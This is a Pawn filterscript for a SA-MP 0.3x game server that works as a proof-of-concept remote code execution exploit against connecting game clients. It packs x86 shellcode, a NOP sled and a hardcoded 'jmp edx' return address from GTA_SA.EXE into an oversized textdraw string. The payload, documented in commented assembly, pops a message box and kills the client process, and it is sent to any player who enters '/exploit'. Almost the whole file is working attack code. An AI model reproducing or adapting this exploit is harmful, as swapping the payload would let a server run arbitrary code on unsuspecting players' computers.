#include <a_samp>
new Text:g_TextDraw;
Write4Cells(a_value, a_array[], &a_index)
{
a_array[a_index] = (a_value ) & 0xFF; a_index ++;
a_array[a_index] = (a_value >> 8) & 0xFF; a_index ++;
a_array[a_index] = (a_value >> 16) & 0xFF; a_index ++;
a_array[a_index] = (a_value >> 24) & 0xFF; a_index ++;
}
public OnFilterScriptInit()
{
new l_bytes[804];
new index;
new i;
new l_shellcode[] =
"\xEB\x33\x54\x68\x69\x73\x20\x61\x20\x62\x75\x66\x66\x65\x72\x20\x6F\x76\x65\x72\x66\x6C" \
"\x6F\x77\x20\x6F\x6E\x20\x53\x41\x4D\x50\x20\x30\x2E\x33\x78\x20\x21\x01\x48\x65\x6C\x6C" \
"\x6F\x20\x62\x72\x6F\x27\x20\x21\x01\x31\xC0\x83\xC7\x02\x88\x47\x25\x88\x47\x32\x83\xEC" \
"\x20\x8D\x47\x26\x6A\x10\x50\x57\x31\xC0\x50\xB8\x05\x94\x96\x11\x2D\x11\x11\x11\x11\xFF" \
"\x10\x31\xC0\x50\xB8\x1D\x93\x96\x11\x2D\x11\x11\x11\x11\xFF\x10";
/*
Here is the shellcode
jmp _real_start
db "This a buffer overflow on SAMP 0.3x !"
db 0x01
db "Hello bro' !"
db 0x01
_real_start:
xor eax, eax
add edi, 2 ; EDI contain the shellcode's address, so we adjust it to point the the string list
mov [edi+37], al ; Then we set the 0x01 to null byte
mov [edi+50], al ; Then we set the 0x01 to null byte
sub esp, 0x20
; MessageBox
lea eax, [edi+38]
push 0x00000010 ; push MB_ICONERROR
push eax ; Push "Hello bro' !"
push edi ; Push "This a buffer overflow on SAMP 0.3x !"
xor eax, eax
push eax ; HWND = 0x00
mov eax, 0x11969405 ; EAX point to 0x8582F4 which contain the address of MessageBoxA on GTA_SA.EXE
sub eax, 0x11111111
call [eax] ; We call MessageBoxA
; ExitProcess
xor eax, eax
push eax ; Push 0
mov eax, 0x1196931D ; EAX point to 0x85820C which countain the address of ExitProcess on GTA_SA.EXE
sub eax, 0x11111111
call [eax] ; Finally we call ExitProcess !
*/
/************************************************************/
for(index = 0, i = 0; i < sizeof(l_shellcode)-1; i++, index++)
{
l_bytes[index] = l_shellcode[i];
}
/************************************************************/
for(; index < 800; index++) l_bytes[index] = 0x90;
/************************************************************/
/*
-- Found on GTA_SA.EXE --
jmp edi - 0x881BF3
jmp edx - 0x88B475
edi and edx point the buffer who contain the textdraw's string
*/
// Write4Cells(0xAABBCCDD, l_bytes, index);
// Write4Cells(0x881BF3, l_bytes, index); // jmp edi
Write4Cells(0x88B475, l_bytes, index); // jmp edx
g_TextDraw =
TextDrawCreate(0.0, 0.0, l_bytes);
printf("TextDraw id = %d", _:g_TextDraw);
}
public OnFilterScriptExit()
{
TextDrawHideForAll(g_TextDraw);
TextDrawDestroy(g_TextDraw);
}
public OnPlayerCommandText(playerid, cmdtext[])
{
if(strcmp(cmdtext, "/exploit", true) == 0)
{
TextDrawShowForPlayer(playerid, g_TextDraw);
return 1;
}
return 0;
}